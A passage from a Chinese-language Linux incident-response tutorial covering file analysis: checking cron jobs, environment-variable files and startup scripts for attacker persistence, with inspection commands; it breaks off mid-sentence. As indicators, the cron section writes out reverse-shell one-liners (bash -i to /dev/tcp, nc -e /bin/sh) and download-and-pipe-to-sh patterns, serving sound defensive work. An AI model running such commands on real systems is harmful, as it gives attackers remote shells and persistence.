前言
在上一篇中,我们介绍了应急响应整体流程和如何从进程入手进行主机侧应急排查。Linux应急响应思路和技巧(一):进程分析篇https://blog.youkuaiyun.com/WangsuSecurity/article/details/139233062?spm=1001.2014.3001.5501本篇我们将介绍Linux主机侧应急排查的文件分析部分。
Linux系统一切皆文件,攻击本身与系统的交互也离不开文件,凭据访问、持久化、防御绕过、恶意样本落盘、提权等攻击阶段都会涉及到文件。我们可以通过系统配置检查,确认配置是否被篡改或有新增恶意配置,从而定位出攻击者进行持久化、提权、留后门、隐藏攻击行为的手段;通过可疑文件变化查找,检查文件的创建、篡改、访问痕迹来识别攻击者落盘的可疑文件、临时文件或其他中间过程文件;通过对可疑文件进行深入的异常分析,可能提取到恶意代码样本,方便进一步分析其功能和攻击手段,以定位出更多其它可疑文件。
下图为Linux主机应急排查思维导图,本篇从文件方面进行介绍。

排查工具
文件分析常用排查工具包括系统自带命令(ls、find、locate、lsattr、cat、vi/vim、rpm、strings、systemctl、chkconfig、ldd、crontab、env),解码工具(base64解码、upx脱壳),gdb动态调试工具,ide反编译软件,容器相关配置查看命令(docker、kubectl、crictl、ctr)。注意区分有rootkit和无rootkit情况下的工具使用,有rootkit情况下可采用busybox提供的命令集。
可疑文件定位
1、系统配置检查
攻击者可能利用系统原生配置,通过篡改现有配置或添加恶意配置,达到持久化、提权、设置后门、隐藏恶意进程等目的,包括设置恶意定时任务、环境变量、启动脚本、启动服务、账号密码配置、账号权限配置、预加载库&动态库、内核模块。
1)定时任务
查看下列路径下定时任务文件内容:
/etc/crontab
/etc/cron.d/*
/etc/cron.hourly/*
/etc/cron.daily/*
/etc/cron.weekly/*
/etc/cron.monthly/*
/var/spool/cron/*
/etc/anacrontab
/var/spool/anacron/*
/var/spool/at/*
/etc/at.deny
/etc/at.allow
也可使用ctrontab(周期性定时任务)和at(一次性定时任务)系统命令查看,如crontab –l [username]命令列出某个用户cron服务的详细内容,默认从/var/spool/cron/[username]处获取;atq命令查询当前服务器上的at任务,at -c [编号]查询指定编号的at任务内容。
一般有下载(wget|curl|wge|cdl http://xxx or https://xxx)、加执行权限(chmod +x)、执行(xxx|sh)一系列动作的,有base64编码的(xxx|base64 -d),有添加可疑用户/用户组的(useradd xxx or groupadd xxx),有反弹shell(bash -i >& /dev/tcp/[ip]/[port]、nc -e /bin/sh [ip] [port]),有文件名较为随机或包含恶意特征的脚本或程序执行(a.sh、c.sh、payload.elf),有可疑路径下脚本或程序执行(/tmp/xxx、/var/tmp/xxx、/var/run/xxx),有’.’开头隐藏路径下可疑脚本或程序执行(/tmp/.xxx/xxx、/etc/.xxx/xxx),以及一些非运维管理并且与服务无关的定时任务大概率为恶意定时任务。

常用排查命令:
[root@localhost ~]#cat [file_path,如/etc/cron.d/*] #查看指定路径定时任务文件内容
[root@localhost ~]#crontab -l [username] #查看指定用户定时任务
[root@localhost ~]#atq #查看服务器当前一次性定时任务
[root@localhost ~]#at -c [num,如8] #查看指定编号的一次性定时任务
2)环境变量
查看下列路径下环境变量相关文件内容:
/etc/profile
/etc/profile.d/*
~/.bash_profile
~/.bash_login
~/.profile
~/.bashrc
/etc/bashrc
~/.bash_logout
也可使用env命令检查当前shell的环境变量;可查看/proc/[pid]/environ文件,获取指定进程的环境变量。
检查环境变量设置,关注是否存在可疑环境变量:如非运维管理添加的环境变量脚本(在一次真实应急事件中攻击者创建/etc/profile.d/bash.cfg.sh执行bash.cfg二进制,该二进制可用于隐藏恶意文件)、环境变量脚本包含执行隐藏路径或可疑路径的程序、PATH环境变量新增可疑路径、LD_PRELOAD环境变量新增可疑预加载库路径等。

常用排查命令:
[root@localhost ~]#cat [file_path,如/etc/profile/bash.cfg.sh] #查看指定路径环境变量文件内容
[root@localhost ~]#env #查看当前shell环境变量
[root@localhost ~]#echo [variable,如$PATH] #查看指定名称的环境变量
[root@localhost ~]#strings -f /proc/[pid]/environ|cut -f2 -d ' ' #查看指定进程初始环境变量
3)启动脚本
查看下列路径下启动脚本文件内容:
/etc/rc.d/rc.local
/etc/rc.d/rc[0-6].d/*
/etc/rc.d/init.d/*
当系统进入特定的运行级别时,会执行上述目录中相应运行级别下的启动脚本,以启动或停止相应的系统服务,通常S开头的脚本用于启动服务,K开头的脚本用于停止服务。
检查启动脚本里是否有可疑启动命令,如非运维管理添加的和非系统自带